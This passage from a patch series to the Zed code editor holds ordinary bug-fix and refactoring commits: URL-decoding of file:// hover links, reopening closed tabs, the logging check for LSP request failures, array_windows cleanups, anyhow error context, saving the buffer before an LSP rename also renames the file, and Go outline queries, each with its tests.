+        self.send_authenticated_request(request, AsyncBody::from(serde_json::to_string(&body)?))
+            .await?;
         Ok(())
     }
 }

From 950ec7943f3f1c0532caf6b91d818fb6349c8927 Mon Sep 17 00:00:00 2001
From: Matt Good <29016+mgood@users.noreply.github.com>
Date: Wed, 8 Jul 2026 02:01:58 -0700
Subject: [PATCH 322/772] editor: Decode escaped characters in hover popover
 links (#55973)

Decodes url escape sequences in hover preview `file:///` links like
escaped
spaces in the file path.

I'm working on an LSP and happened to be working with some files in a
directory with spaces. When adding Markdown links with `file:///` the
`%20` escape for spaces was being included verbatim in the path that Zed
tried to open.

I'm reusing the lines from `markdown_preview_view.rs` for decoding. In
the existing tests I don't see coverage for `file:///` links. If you'd
like some tests for this can you point me to any examples to start from?

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed decoding spaces and other escaped characters in `file://` links
used in hover popovers

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 Cargo.lock                         |  1 +
 crates/editor/Cargo.toml           |  1 +
 crates/editor/src/hover_popover.rs | 39 +++++++++++++++++++++++++++---
 3 files changed, 37 insertions(+), 4 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 46c2fc46e2f112..1d5fe8fd9bd8b7 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -5810,6 +5810,7 @@ dependencies = [
  "unicode-width",
  "unindent",
  "url",
+ "urlencoding",
  "util",
  "uuid",
  "vim_mode_setting",
diff --git a/crates/editor/Cargo.toml b/crates/editor/Cargo.toml
index 1ca500832e2807..b6df4a370fc87a 100644
--- a/crates/editor/Cargo.toml
+++ b/crates/editor/Cargo.toml
@@ -98,6 +98,7 @@ unindent = { workspace = true, optional = true }
 ui.workspace = true
 ui_input.workspace = true
 url.workspace = true
+urlencoding.workspace = true
 util.workspace = true
 uuid.workspace = true
 vim_mode_setting.workspace = true
diff --git a/crates/editor/src/hover_popover.rs b/crates/editor/src/hover_popover.rs
index 96aeae19933de9..ff4b8c4b8d055e 100644
--- a/crates/editor/src/hover_popover.rs
+++ b/crates/editor/src/hover_popover.rs
@@ -798,19 +798,33 @@ pub fn diagnostics_markdown_style(window: &Window, cx: &App) -> MarkdownStyle {
     }
 }
 
+fn parse_file_link(link: &str) -> Option<(PathBuf, Option<String>)> {
+    let uri = Url::parse(link).ok().filter(|uri| uri.scheme() == "file")?;
+    let fragment = uri.fragment().map(ToOwned::to_owned);
+    let path = uri.to_file_path().unwrap_or_else(|_| {
+        let encoded = uri.path();
+
+        urlencoding::decode(encoded)
+            .map(Cow::into_owned)
+            .map(PathBuf::from)
+            .unwrap_or_else(|_| PathBuf::from(encoded))
+    });
+
+    Some((path, fragment))
+}
+
 pub fn open_markdown_url(
     workspace: Option<Entity<Workspace>>,
     link: SharedString,
     window: &mut Window,
     cx: &mut App,
 ) {
-    if let Ok(uri) = Url::parse(&link)
-        && uri.scheme() == "file"
+    if let Some((path, fragment)) = parse_file_link(&link)
         && let Some(workspace) = workspace
     {
         workspace.update(cx, |workspace, cx| {
             let task = workspace.open_abs_path(
-                PathBuf::from(uri.path()),
+                path,
                 OpenOptions {
                     visible: Some(OpenVisible::None),
                     ..Default::default()
@@ -823,7 +837,7 @@ pub fn open_markdown_url(
                 let item = task.await?;
                 // Ruby LSP uses URLs with #L1,1-4,4
                 // we'll just take the first number and assume it's a line number
-                let Some(fragment) = uri.fragment() else {
+                let Some(fragment) = fragment else {
                     return anyhow::Ok(());
                 };
                 let mut accum = 0u32;
@@ -2747,4 +2761,21 @@ mod tests {
             );
         });
     }
+
+    #[test]
+    fn test_parse_file_links() {
+        assert_eq!(
+            parse_file_link("file:///path/to/file"),
+            Some((PathBuf::from("/path/to/file"), None))
+        );
+        assert_eq!(
+            parse_file_link("file:///path/to/file%20with%20spaces"),
+            Some((PathBuf::from("/path/to/file with spaces"), None))
+        );
+        assert_eq!(
+            parse_file_link("file:///path/to/file#123"),
+            Some((PathBuf::from("/path/to/file"), Some("123".to_string())))
+        );
+        assert_eq!(parse_file_link("http://example.com/"), None,);
+    }
 }

From d4dfe87ce064d1d8eb13404decd96afe4552478b Mon Sep 17 00:00:00 2001
From: liam <liam@scalzulli.com>
Date: Wed, 8 Jul 2026 07:57:02 -0400
Subject: [PATCH 323/772] workspace: Skip closed items that cannot be reopened
 (#56299)

Resolves https://github.com/zed-industries/zed/issues/55600

This diff fixes `pane::ReopenClosedItem` getting stuck when the
closed-item stack contains entries that cannot be reopened, such as
Project Search, untitled buffers, or Default Settings. Previously,
`Workspace::navigate_history_impl` would pop the newest closed entry and
stop if that item was no longer present in the pane and had no path
recorded for reopening. That made `cmd- shift-t` appear to do nothing
until enough attempts had consumed those unreopenable entries.

With this change, closed-item navigation keeps scanning when it
encounters an entry that cannot be activated or reopened by path. This
preserves the current path-based reopening behavior for normal files,
while avoiding no-op shortcuts caused by non-file items in the closed
stack.

This made me wonder whether or not we'd eventually want full reopen
support for non-traditional items like Project Search or bundled
settings editors. Supporting that properly would require storing
item-specific restoration state, such as search query/options for
Project Search or a bundled-file descriptor for Default Settings, and
teaching closed-item navigation how to recreate those items from that
state. Something definitely out of scope for this PR.

| Before | After |
| --- | --- |
| <video
src="https://github.com/user-attachments/assets/c7044423-4531-4857-84f2-4e9651826c6a"
controls width="500" title="Before"></video> | <video
src="https://github.com/user-attachments/assets/c89dcefb-1796-4cdf-bb21-f165145e678e"
controls width="500" title="After"></video> |

Release Notes:
- Fixed reopening closed tabs getting stuck on closed items that cannot
be reopened.
---
 crates/workspace/src/workspace.rs | 87 +++++++++++++++++++++++++++++--
 1 file changed, 83 insertions(+), 4 deletions(-)

diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 161f65974c4980..dd88d76741376a 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -2823,10 +2823,11 @@ impl Workspace {
                     } else {
                         // If the item is no longer present in this pane, then retrieve its
                         // path info in order to reopen it.
-                        break pane
-                            .nav_history()
-                            .path_for_item(entry.item.id())
-                            .map(|(project_path, abs_path)| (project_path, abs_path, entry));
+                        if let Some((project_path, abs_path)) =
+                            pane.nav_history().path_for_item(entry.item.id())
+                        {
+                            break Some((project_path, abs_path, entry));
+                        }
                     }
                 }
             })
@@ -15068,6 +15069,84 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_reopen_closed_item_skips_items_without_paths(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+
+        let project = Project::test(fs, [], cx).await;
+
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        let pane = workspace.read_with(cx, |workspace, _| workspace.active_pane().clone());
+        let reopenable_item = cx.new(TestItem::new);
+
+        let active_item = cx.new(TestItem::new);
+        let unreopenable_item = cx.new(TestItem::new);
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.add_item_to_active_pane(
+                Box::new(reopenable_item.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+            workspace.add_item_to_active_pane(
+                Box::new(active_item.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+        });
+
+        pane.update(cx, |pane, _| {
+            pane.nav_history_mut().set_mode(NavigationMode::ClosingItem);
+        });
+
+        reopenable_item.update_in(cx, |item, window, cx| {
+            item.deactivated(window, cx);
+        });
+
+        pane.update(cx, |pane, _| {
+            pane.nav_history_mut().set_mode(NavigationMode::Normal);
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.add_item_to_active_pane(
+                Box::new(unreopenable_item.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+        });
+
+        pane.update_in(cx, |pane, window, cx| {
+            pane.close_item_by_id(unreopenable_item.item_id(), SaveIntent::Skip, window, cx)
+                .detach_and_log_err(cx);
+        });
+
+        cx.run_until_parked();
+
+        workspace
+            .update_in(cx, |workspace, window, cx| {
+                workspace.reopen_closed_item(window, cx)
+            })
+            .await
+            .unwrap();
+
+        pane.read_with(cx, |pane, _| {
+            assert_eq!(
+                pane.active_item().unwrap().item_id(),
+                reopenable_item.item_id()
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_no_save_prompt_when_dirty_multi_buffer_closed_with_all_of_its_dirty_items_present_in_the_pane(
         cx: &mut TestAppContext,

From 01235732e683e524349585c06f290a4803806c48 Mon Sep 17 00:00:00 2001
From: Rain <rain@sunshowers.io>
Date: Wed, 8 Jul 2026 05:08:36 -0700
Subject: [PATCH 324/772] Fix should_log_lsp_request_failure logic inversion
 (#57554)

Was trying to debug an r-a issue and ran into this.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliabilityx
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A or Added/Fixed/Improved ...

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/project/src/lsp_store.rs | 32 +++++++++++++++++++++++++++++---
 1 file changed, 29 insertions(+), 3 deletions(-)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 96f02fcb778f79..2a95034cbaa7dc 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -4225,9 +4225,10 @@ impl SymbolLocation {
 }
 
 fn should_log_lsp_request_failure(message: &str) -> bool {
-    // content modified is a weird failure mode of rust-analyzer
-    // where requests are denied before its loaded a project
-    message.ends_with("content modified") || message.ends_with("server cancelled the request")
+    // "content modified" and "server cancelled the request" are noisy failure
+    // modes of rust-analyzer where requests are denied before it has loaded a
+    // project.
+    !(message.ends_with("content modified") || message.ends_with("server cancelled the request"))
 }
 
 impl LspStore {
@@ -15312,3 +15313,28 @@ fn extend_formatting_transaction(
         Ok(())
     })
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn should_log_lsp_request_failure_suppresses_known_noise() {
+        // Suppressed: rust-analyzer's superseded/denied request signals.
+        assert!(!should_log_lsp_request_failure(
+            "Get diagnostics via rust-analyzer failed: content modified"
+        ));
+        assert!(!should_log_lsp_request_failure(
+            "Get diagnostics via rust-analyzer failed: server cancelled the request"
+        ));
+
+        // Logged: anything else is a real failure.
+        assert!(should_log_lsp_request_failure(
+            "Get diagnostics via rust-analyzer failed: server shut down"
+        ));
+        assert!(should_log_lsp_request_failure(
+            "Get diagnostics via rust-analyzer failed: Server reset the connection"
+        ));
+        assert!(should_log_lsp_request_failure("something else entirely"));
+    }
+}

From bc3c9422f4b29cdafd64fc89853b8705a359a0e7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Miguel=20Raz=20Guzm=C3=A1n=20Macedo?= <miguel@zed.dev>
Date: Wed, 8 Jul 2026 06:10:32 -0600
Subject: [PATCH 325/772] Use more .array_windows::<N>() (#58877)

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

The fight against entropy continues...

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/editor/src/input.rs                 | 6 ++----
 crates/file_finder/src/file_finder.rs      | 2 +-
 crates/markdown/src/html/html_rendering.rs | 4 +---
 crates/outline_panel/src/outline_panel.rs  | 6 ++----
 crates/zeta_prompt/src/multi_region.rs     | 9 +++------
 5 files changed, 9 insertions(+), 18 deletions(-)

diff --git a/crates/editor/src/input.rs b/crates/editor/src/input.rs
index 876bb8fa286535..8192fc4a18f56b 100644
--- a/crates/editor/src/input.rs
+++ b/crates/editor/src/input.rs
@@ -1666,10 +1666,8 @@ impl Editor {
             this.change_selections(Default::default(), window, cx, |s| s.select(selections));
 
             let selections = this.selections.all::<Point>(&this.display_snapshot(cx));
-            let selections_on_single_row = selections.windows(2).all(|selections| {
-                selections[0].start.row == selections[1].start.row
-                    && selections[0].end.row == selections[1].end.row
-                    && selections[0].start.row == selections[0].end.row
+            let selections_on_single_row = selections.array_windows::<2>().all(|[a, b]| {
+                a.start.row == b.start.row && a.end.row == b.end.row && a.start.row == a.end.row
             });
             let selections_selecting = selections
                 .iter()
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index f3711361d13430..1203e3dde021b7 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -1952,7 +1952,7 @@ impl<'a> PathComponentSlice<'a> {
 
     fn elision_range(&self, budget: usize, matches: &[usize]) -> Option<Range<usize>> {
         let eligible_range = {
-            assert!(matches.windows(2).all(|w| w[0] <= w[1]));
+            assert!(matches.is_sorted());
             let mut matches = matches.iter().copied().peekable();
             let mut longest: Option<Range<usize>> = None;
             let mut cur = 0..0;
diff --git a/crates/markdown/src/html/html_rendering.rs b/crates/markdown/src/html/html_rendering.rs
index 25e869625fb5ed..00b73f1e44e060 100644
--- a/crates/markdown/src/html/html_rendering.rs
+++ b/crates/markdown/src/html/html_rendering.rs
@@ -391,9 +391,7 @@ impl MarkdownElement {
         boundaries.sort_unstable();
         boundaries.dedup();
 
-        for segment in boundaries.windows(2) {
-            let start = segment[0];
-            let end = segment[1];
+        for &[start, end] in boundaries.array_windows::<2>() {
             if start >= end {
                 continue;
             }
diff --git a/crates/outline_panel/src/outline_panel.rs b/crates/outline_panel/src/outline_panel.rs
index 7c3845eb98f67b..c880891502b8b7 100644
--- a/crates/outline_panel/src/outline_panel.rs
+++ b/crates/outline_panel/src/outline_panel.rs
@@ -3447,10 +3447,8 @@ impl OutlinePanel {
                     };
                     let fetched_outlines = outline_task.await;
                     let outlines_with_children = fetched_outlines
-                        .windows(2)
-                        .filter_map(|window| {
-                            let current = &window[0];
-                            let next = &window[1];
+                        .array_windows::<2>()
+                        .filter_map(|[current, next]| {
                             if next.depth > current.depth {
                                 Some((current.range.clone(), current.depth))
                             } else {
diff --git a/crates/zeta_prompt/src/multi_region.rs b/crates/zeta_prompt/src/multi_region.rs
index 540bc2db11ac36..0cecb38decf62d 100644
--- a/crates/zeta_prompt/src/multi_region.rs
+++ b/crates/zeta_prompt/src/multi_region.rs
@@ -582,8 +582,8 @@ pub fn nearest_marker_number(cursor_offset: Option<usize>, marker_offsets: &[usi
 fn cursor_block_index(cursor_offset: Option<usize>, marker_offsets: &[usize]) -> usize {
     let cursor = cursor_offset.unwrap_or(0);
     marker_offsets
-        .windows(2)
-        .position(|window| cursor >= window[0] && cursor < window[1])
+        .array_windows::<2>()
+        .position(|&[a, b]| cursor >= a && cursor < b)
         .unwrap_or_else(|| marker_offsets.len().saturating_sub(2))
 }
 
@@ -1220,10 +1220,7 @@ hhhhhhhhhh = 8;
             Some(text.len()),
             "offsets: {offsets:?}"
         );
-        assert!(
-            offsets.windows(2).all(|window| window[0] <= window[1]),
-            "offsets must be sorted: {offsets:?}"
-        );
+        assert!(offsets.is_sorted(), "offsets must be sorted: {offsets:?}");
     }
 
     #[test]

From 2ab35c6b7d594288cdfee6695d1afa8f7ce91444 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tom=20Houl=C3=A9?=
 <13155277+tomhoule@users.noreply.github.com>
Date: Wed, 8 Jul 2026 14:20:52 +0200
Subject: [PATCH 326/772] Consistently use `context()` to preserve sources for
 anyhow errors (#59112)

When you use `anyhow::anyhow!("{error}")` to convert a preexisting error
to an `anyhow::Error`, the error source can be lost (depending on the
`Display` impl of the error). Anyhow errors can display the whole source
chain when printed. This commit makes us consistently use `context()`
instead to preserve the underlying error's source.

Release Notes:

- N/A
---
 crates/agent/src/db.rs                    | 4 ++--
 crates/keymap_editor/src/keymap_editor.rs | 2 +-
 crates/remote/src/transport/ssh.rs        | 4 +++-
 crates/remote/src/transport/wsl.rs        | 8 +++++---
 4 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 7d69e03c325a93..a09aa9c2c132fd 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -2,7 +2,7 @@ use crate::{AgentMessage, AgentMessageContent, UserMessage, UserMessageContent};
 use acp_thread::ClientUserMessageId;
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentProfileId;
-use anyhow::{Result, anyhow};
+use anyhow::Result;
 use chrono::{DateTime, Utc};
 use collections::{HashMap, IndexMap};
 use futures::{FutureExt, future::Shared};
@@ -444,7 +444,7 @@ impl ThreadsDatabase {
                 data BLOB NOT NULL
             )
         "})?()
-        .map_err(|e| anyhow!("Failed to create threads table: {}", e))?;
+        .map_err(|e| e.context("Failed to create threads table"))?;
 
         if let Ok(mut s) = connection.exec(indoc! {"
             ALTER TABLE threads ADD COLUMN parent_id TEXT
diff --git a/crates/keymap_editor/src/keymap_editor.rs b/crates/keymap_editor/src/keymap_editor.rs
index aecaea7fcbaf64..db40513599475e 100644
--- a/crates/keymap_editor/src/keymap_editor.rs
+++ b/crates/keymap_editor/src/keymap_editor.rs
@@ -3668,7 +3668,7 @@ async fn save_keybinding_update(
         keyboard_mapper,
         deprecated_aliases,
     )
-    .map_err(|err| anyhow::anyhow!("Could not save updated keybinding: {}", err))?;
+    .map_err(|err| err.context("Could not save updated keybinding"))?;
     fs.write(
         paths::keymap_file().as_path(),
         updated_keymap_contents.as_bytes(),
diff --git a/crates/remote/src/transport/ssh.rs b/crates/remote/src/transport/ssh.rs
index 25946c0b7c03c1..f897bdd1d96760 100644
--- a/crates/remote/src/transport/ssh.rs
+++ b/crates/remote/src/transport/ssh.rs
@@ -496,7 +496,9 @@ impl RemoteConnection for SshRemoteConnection {
         {
             Ok(process) => process,
             Err(error) => {
-                return Task::ready(Err(anyhow!("failed to spawn remote server: {}", error)));
+                return Task::ready(Err(
+                    anyhow::Error::new(error).context("failed to spawn remote server")
+                ));
             }
         };
 
diff --git a/crates/remote/src/transport/wsl.rs b/crates/remote/src/transport/wsl.rs
index 21ebdcbd049f9a..9b8e77639444d4 100644
--- a/crates/remote/src/transport/wsl.rs
+++ b/crates/remote/src/transport/wsl.rs
@@ -210,7 +210,7 @@ impl WslRemoteConnection {
             let mkdir = self.shell_kind.prepend_command_prefix("mkdir");
             self.run_wsl_command(&mkdir, &["-p", &parent])
                 .await
-                .map_err(|e| anyhow!("Failed to create directory: {}", e))?;
+                .map_err(|e| e.context("Failed to create directory"))?;
         }
 
         let binary_exists_on_server = self
@@ -346,7 +346,7 @@ impl WslRemoteConnection {
 
         self.run_wsl_command("sh", &["-c", &script])
             .await
-            .map_err(|e| anyhow!("Failed to extract server binary: {}", e))?;
+            .map_err(|e| e.context("Failed to extract server binary"))?;
         Ok(())
     }
 }
@@ -395,7 +395,9 @@ impl RemoteConnection for WslRemoteConnection {
             {
                 Ok(process) => process,
                 Err(error) => {
-                    return Task::ready(Err(anyhow!("failed to spawn remote server: {}", error)));
+                    return Task::ready(Err(
+                        anyhow::Error::new(error).context("failed to spawn remote server")
+                    ));
                 }
             };
 

From 2243c13b9b224311fdb64362b2310c364f7dfbbb Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Wed, 8 Jul 2026 05:21:10 -0700
Subject: [PATCH 327/772] project: Fix content swap when an LSP rename also
 renames the file (#59104)

A "rename symbol" whose workspace edit also renames the file (a
`TextDocumentEdit` followed by a `RenameFile` resource operation) only
applied the text edit to the in-memory buffer. The on-disk file still
held the pre-edit content, so the blind `fs.rename` moved stale bytes to
the new path while the edited buffer was stranded at the old path,
swapping the two files' contents.

This persists a dirty buffer for the rename source before renaming, so
the new file receives the edited content and the now-clean buffer can't
be saved back to the old path.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #59077

Release Notes:

- Fixed a symbol rename that also renames the file swapping the contents
of the old and new files
---
 crates/project/src/lsp_store.rs               |  19 ++++
 .../tests/integration/project_tests.rs        | 104 ++++++++++++++++++
 2 files changed, 123 insertions(+)

diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 2a95034cbaa7dc..1555a25dd21d38 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -3440,6 +3440,25 @@ impl LocalLspStore {
                         .to_file_path()
                         .map_err(|()| anyhow!("can't convert URI to path"))?;
 
+                    // An LSP "rename symbol" can also rename the file, with the text edit
+                    // applied only to the in-memory buffer. Persist it before renaming, or
+                    // fs.rename moves the stale on-disk content and the files' contents swap.
+                    let dirty_buffer = this.update(cx, |this, cx| {
+                        let project_path = this
+                            .worktree_store()
+                            .read(cx)
+                            .project_path_for_absolute_path(&source_abs_path, cx)?;
+                        let buffer = this.buffer_store().read(cx).get_by_path(&project_path)?;
+                        buffer.read(cx).is_dirty().then_some(buffer)
+                    });
+                    if let Some(buffer) = dirty_buffer {
+                        this.update(cx, |this, cx| {
+                            this.buffer_store()
+                                .update(cx, |buffer_store, cx| buffer_store.save_buffer(buffer, cx))
+                        })
+                        .await?;
+                    }
+
                     let options = fs::RenameOptions {
                         overwrite: op
                             .options
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 7b4f5839e946b7..47ff6c0740987f 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -7673,6 +7673,110 @@ async fn test_rename(cx: &mut gpui::TestAppContext) {
     );
 }
 
+// Regression test for https://github.com/zed-industries/zed/issues/59077:
+// a "rename symbol" whose workspace edit also renames the file used to swap the
+// two files' contents. The edited content must end up in the renamed file.
+#[gpui::test]
+async fn test_rename_that_also_renames_file(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/dir"),
+        json!({
+            "one.rs": "const ONE: usize = 1;",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                rename_provider: Some(lsp::OneOf::Right(lsp::RenameOptions {
+                    prepare_provider: Some(true),
+                    work_done_progress_options: Default::default(),
+                })),
+                ..Default::default()
+            },
+            ..Default::default()
+        },
+    );
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/one.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+
+    let response = project.update(cx, |project, cx| {
+        project.perform_rename(buffer.clone(), 7, "THREE".to_string(), cx)
+    });
+    fake_server
+        .set_request_handler::<lsp::request::Rename, _, _>(|_params, _| async move {
+            Ok(Some(lsp::WorkspaceEdit {
+                changes: None,
+                document_changes: Some(DocumentChanges::Operations(vec![
+                    lsp::DocumentChangeOperation::Edit(lsp::TextDocumentEdit {
+                        text_document: lsp::OptionalVersionedTextDocumentIdentifier {
+                            uri: Uri::from_file_path(path!("/dir/one.rs")).unwrap(),
+                            version: None,
+                        },
+                        edits: vec![lsp::Edit::Plain(lsp::TextEdit::new(
+                            lsp::Range::new(lsp::Position::new(0, 6), lsp::Position::new(0, 9)),
+                            "THREE".to_string(),
+                        ))],
+                    }),
+                    lsp::DocumentChangeOperation::Op(lsp::ResourceOp::Rename(lsp::RenameFile {
+                        old_uri: Uri::from_file_path(path!("/dir/one.rs")).unwrap(),
+                        new_uri: Uri::from_file_path(path!("/dir/three.rs")).unwrap(),
+                        options: None,
+                        annotation_id: None,
+                    })),
+                ])),
+                change_annotations: None,
+            }))
+        })
+        .next()
+        .await
+        .unwrap();
+    response.await.unwrap();
+    cx.executor().run_until_parked();
+
+    // The renamed file must contain the edited content, not the stale pre-edit
+    // content, and the old file must be gone (no content swap).
+    assert_eq!(
+        fs.load(Path::new(path!("/dir/three.rs"))).await.unwrap(),
+        "const THREE: usize = 1;"
+    );
+    assert!(
+        fs.load(Path::new(path!("/dir/one.rs"))).await.is_err(),
+        "old file should not exist after the rename"
+    );
+
+    // The buffer should follow the rename to the new path, hold the edited
+    // content, and be saved (so it can't be written back to the old path).
+    buffer.read_with(cx, |buffer, _cx| {
+        assert_eq!(buffer.text(), "const THREE: usize = 1;");
+        assert_eq!(
+            buffer.file().unwrap().path().as_ref(),
+            rel_path("three.rs"),
+            "buffer should be associated with the renamed file"
+        );
+        assert!(
+            !buffer.is_dirty(),
+            "buffer should be saved after the rename"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_search(cx: &mut gpui::TestAppContext) {
     init_test(cx);

From 35ddcb2ecd07d38b1579c5199f175d0e9c2133f4 Mon Sep 17 00:00:00 2001
From: olegator888 <139753116+olegator888@users.noreply.github.com>
Date: Wed, 8 Jul 2026 15:21:46 +0300
Subject: [PATCH 328/772] go: Fix outline for methods with unnamed receivers
 (#58656)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

This fixes Go outline extraction for methods whose receiver has no name,
such as `func (v2) Method()`. These methods are now included in outline
symbols, which also feed breadcrumbs and sticky
scroll.

Tested with:

- `cargo test -p languages`
- `cargo test -p grammars`
- `./script/clippy -p languages`
- `cargo fmt --check --package languages`

Before:

[before_cut.webm](https://github.com/user-attachments/assets/91eb5cb0-703a-4496-b0dd-5369c4c219fc)

After:

[after_cut.webm](https://github.com/user-attachments/assets/76d13d88-3671-4118-99fc-c073a6e64727)

Release Notes:

- Fixed Go methods with unnamed receivers not appearing in breadcrumbs
and sticky scroll.

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/grammars/src/go/outline.scm |  2 +-
 crates/languages/src/go.rs         | 84 ++++++++++++++++++++++++++++++
 2 files changed, 85 insertions(+), 1 deletion(-)

diff --git a/crates/grammars/src/go/outline.scm b/crates/grammars/src/go/outline.scm
index da42904fab9426..29b9bd7554ac84 100644
--- a/crates/grammars/src/go/outline.scm
+++ b/crates/grammars/src/go/outline.scm
@@ -23,7 +23,7 @@
   receiver: (parameter_list
     "(" @context
     (parameter_declaration
-      name: (_) @context
+      name: (_)? @context
       type: (_) @context)
     ")" @context)
   name: (field_identifier) @name
diff --git a/crates/languages/src/go.rs b/crates/languages/src/go.rs
index 13a4fcc9bdf787..87efea16c854d2 100644
--- a/crates/languages/src/go.rs
+++ b/crates/languages/src/go.rs
@@ -945,6 +945,7 @@ mod tests {
     use gpui::{AppContext, Hsla, TestAppContext};
     use task::TaskContext;
     use theme::SyntaxTheme;
+    use unindent::Unindent as _;
 
     fn go_language() -> Arc<Language> {
         let language = language("go", tree_sitter_go::LANGUAGE.into());
@@ -2017,6 +2018,89 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    fn test_go_outline_includes_methods_with_receiver_forms(cx: &mut TestAppContext) {
+        let language = go_language();
+
+        let source = r#"
+        package main
+
+        type v2 struct{}
+
+        func (v2) BrokenMethod() {
+            println("start")
+        }
+
+        func (_ v2) UnderscoreReceiverMethod() {
+            println("start")
+        }
+
+        func (v v2) NamedReceiverMethod() {
+            println("start")
+        }
+
+        func (v *v2) PointerReceiverMethod() {
+            println("start")
+        }
+
+        func WorkingFunction() {
+            println("start")
+        }
+        "#
+        .unindent();
+
+        let buffer =
+            cx.new(|cx| crate::Buffer::local(source.clone(), cx).with_language(language, cx));
+        let snapshot = buffer.read_with(cx, |buffer, _| buffer.snapshot());
+        let outline = snapshot.outline(None);
+
+        assert_eq!(
+            outline
+                .items
+                .iter()
+                .map(|item| item.text.as_str())
+                .collect::<Vec<_>>(),
+            &[
+                "type v2",
+                "func (v2) BrokenMethod",
+                "func (_ v2) UnderscoreReceiverMethod",
+                "func (v v2) NamedReceiverMethod",
+                "func (v *v2) PointerReceiverMethod",
+                "func WorkingFunction",
+            ]
+        );
+
+        for (method_name, expected_symbol) in [
+            ("BrokenMethod", "func (v2) BrokenMethod"),
+            (
+                "UnderscoreReceiverMethod",
+                "func (_ v2) UnderscoreReceiverMethod",
+            ),
+            ("NamedReceiverMethod", "func (v v2) NamedReceiverMethod"),
+            (
+                "PointerReceiverMethod",
+                "func (v *v2) PointerReceiverMethod",
+            ),
+            ("WorkingFunction", "func WorkingFunction"),
+        ] {
+            let method_position = source
+                .find(&format!("{method_name}()"))
+                .expect("method should exist in source");
+            let body_position = source[method_position..]
+                .find("println")
+                .map(|body_offset| method_position + body_offset)
+                .expect("method should contain a body");
+            let symbols = snapshot.symbols_containing(body_position, None);
+            assert_eq!(
+                symbols
+                    .last()
+                    .map(|item| item.text.as_str())
+                    .expect("method should have an outline symbol"),
+                expected_symbol
+            );
+        }
+    }
+
